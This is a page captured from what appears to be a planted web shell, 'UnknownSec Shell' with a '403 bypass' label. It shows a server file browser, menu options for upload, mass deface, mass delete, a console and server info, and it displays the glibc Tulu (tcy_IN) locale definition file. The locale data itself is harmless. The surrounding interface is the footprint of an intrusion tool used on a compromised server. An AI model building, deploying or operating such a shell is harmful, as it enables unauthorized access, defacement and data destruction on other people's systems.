shell bypass 403
UnknownSec Shell
:
/
proc
/
self
/
root
/
proc
/
thread-self
/
root
/
proc
/
thread-self
/
root
/
usr
/
share
/
i18n
/
locales
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
tcy_IN
comment_char % escape_char / % This file is part of the GNU C Library and contains locale data. % The Free Software Foundation does not claim any copyright interest % in the locale data contained in this file. The foregoing does not % affect the license of the GNU C Library as a whole. It does not % exempt you from the conditions of the license if your use would % otherwise be governed by that license. % Tulu (kannada) language locale for India. % *** Below just modify to suit your language. I have modified for Kannada % *** other language codes - Gujarati - gu, Punjabi - pa, Oriya - or LC_IDENTIFICATION title "Tulu language locale for India" source "IndLinux.org, Samsung Electronics Co., Ltd." address "" contact "" email "alexey.merzlyakov@samsung.com" tel "" fax "" language "Tulu" territory "India" revision "0.1" date "2014-09-30" category "i18n:2012";LC_IDENTIFICATION category "i18n:2012";LC_CTYPE category "i18n:2012";LC_COLLATE category "i18n:2012";LC_TIME category "i18n:2012";LC_NUMERIC category "i18n:2012";LC_MONETARY category "i18n:2012";LC_MESSAGES category "i18n:2012";LC_PAPER category "i18n:2012";LC_NAME category "i18n:2012";LC_ADDRESS category "i18n:2012";LC_TELEPHONE category "i18n:2012";LC_MEASUREMENT END LC_IDENTIFICATION LC_CTYPE copy "kn_IN" END LC_CTYPE LC_COLLATE % Copy the template from ISO/IEC 14651 copy "iso14651_t1" END LC_COLLATE LC_MONETARY copy "hi_IN" END LC_MONETARY LC_NUMERIC copy "hi_IN" END LC_NUMERIC % *** Modify them for Kannada - eg write down on paper - see what all unicode % *** characters are needed, look up their codes & put them here - Kannada LC_TIME % This is the POSIX Locale definition for the LC_TIME category. % These are generated based on XML base Locale definition file % for IBM Class for Unicode/Java % % Abbreviated weekday names (%a) abday "<U0C90>";/ "<U0CB8><U0CCB>";/ "<U0C85><U0C82>";/ "<U0CAC><U0CC1>";/ "<U0C97><U0CC1>";/ "<U0CB6><U0CC1>";/ "<U0CB6>" % % Full weekday names (%A) day "<U0C90><U0CA5><U0CBE><U0CB0>";/ "<U0CB8><U0CCB><U0CAE><U0CBE><U0CB0>";/ "<U0C85><U0C82><U0C97><U0CB0><U0CC6>";/ "<U0CAC><U0CC1><U0CA7><U0CBE><U0CB0>";/ "<U0C97><U0CC1><U0CB0><U0CC1><U0CB5><U0CBE><U0CB0>";/ "<U0CB6><U0CC1><U0C95><U0CCD><U0CB0><U0CB0>";/ "<U0CB6><U0CA8><U0CBF><U0CB5><U0CBE><U0CB0>" % % Abbreviated month names (%b) abmon "<U0C9C>";/ "<U0CAB><U0CC6>";/ "<U0CAE><U0CBE>";/ "<U0C8F>";/ "<U0CAE><U0CC7>";/ "<U0C9C><U0CC2>";/ "<U0C9C><U0CC1>";/ "<U0C86>";/ "<U0CB8><U0CC6>";/ "<U0C85>";/ "<U0CA8>";/ "<U0CA1><U0CBF>" % % Full month names (%B) mon "<U0C9C><U0CA8><U0CB5><U0CB0><U0CBF>";/ "<U0CAB><U0CC6><U0CAC><U0CCD><U0CB0><U0CC1><U0CB5><U0CB0><U0CBF>";/ "<U0CAE><U0CBE><U0CB0><U0CCD><U0C9A><U0CCD>";/ "<U0C8F><U0CAA><U0CCD><U0CB0><U0CBF><U0CB2><U0CCD><U200C><U200C>";/ "<U0CAE><U0CC7>";/ "<U0C9C><U0CC2><U0CA8><U0CCD>";/ "<U0C9C><U0CC1><U0CB2><U0CC8>";/ "<U0C86><U0C97><U0CB8><U0CCD><U0C9F><U0CCD>";/ "<U0CB8><U0CC6><U0CAA><U0CCD><U0C9F><U0CC6><U0C82><U0CAC><U0CB0><U0CCD><U200C>";/ "<U0C85><U0C95><U0CCD><U0C9F><U0CCB><U0CAC><U0CB0><U0CCD>";/ "<U0CA8><U0CB5><U0CC6><U0C82><U0CAC><U0CB0><U0CCD>";/ "<U0CA1><U0CBF><U0CB8><U0CC6><U0C82><U0CAC><U0CB0><U0CCD>" % % Equivalent of AM PM am_pm "<U0C95><U0CBE><U0C82><U0CA1><U0CC6>";/ "<U0CAC><U0CAF><U0CCD><U0CAF>" % *** There arent any Devanagari characters below, so for time being % *** maintain same for Kannada also, Karunakar % % Appropriate date and time representation d_t_fmt "%A %d %b %Y %I:%M:%S %p %Z" % % Appropriate date representation d_fmt "%A %d %b %Y" % % Appropriate time representation t_fmt "%I:%M:%S %Z" % % Appropriate 12 h time representation (%r) t_fmt_ampm "%I:%M:%S %p %Z" week 7;19971130;1 END LC_TIME LC_MESSAGES yesexpr "^[+1yY]" noexpr "^[-0nN]" END LC_MESSAGES LC_PAPER copy "hi_IN" END LC_PAPER LC_NAME % This is the ISO_IEC TR14652 Locale definition for the % LC_NAME category. % name_fmt "%p%t%f%t%g" name_gen "" name_mr "<U0CB6><U0CCD><U0CB0><U0CC0>" name_mrs "<U0CB6><U0CCD><U0CB0><U0CC0><U0CAE><U0CA4><U0CBF>" name_miss "<U0C95><U0CC1><U0CAE><U0CBE><U0CB0><U0CBF>" name_ms "<U0C95><U0CC1><U0CAE><U0CBE><U0CB0>" END LC_NAME LC_ADDRESS % This is the ISO_IEC TR14652 Locale definition for the % LC_ADDRESS postal_fmt "%z%c%T%s%b%e%r" % https://tcy.wikipedia.org/wiki/%E0%B2%AD%E0%B2%BE%E0%B2%B0%E0%B2%A4 : "ಭಾರತ" country_name "<U0CAD><U0CBE><U0CB0><U0CA4>" country_ab2 "IN" country_ab3 "IND" country_car "IND" country_num 356 lang_name "<U0CA4><U0CC1><U0CB3><U0CC1>" lang_ab "" lang_term "tcy" lang_lib "tcy" END LC_ADDRESS LC_TELEPHONE copy "hi_IN" END LC_TELEPHONE LC_MEASUREMENT copy "hi_IN" END LC_MEASUREMENT
© 2024 UnknownSec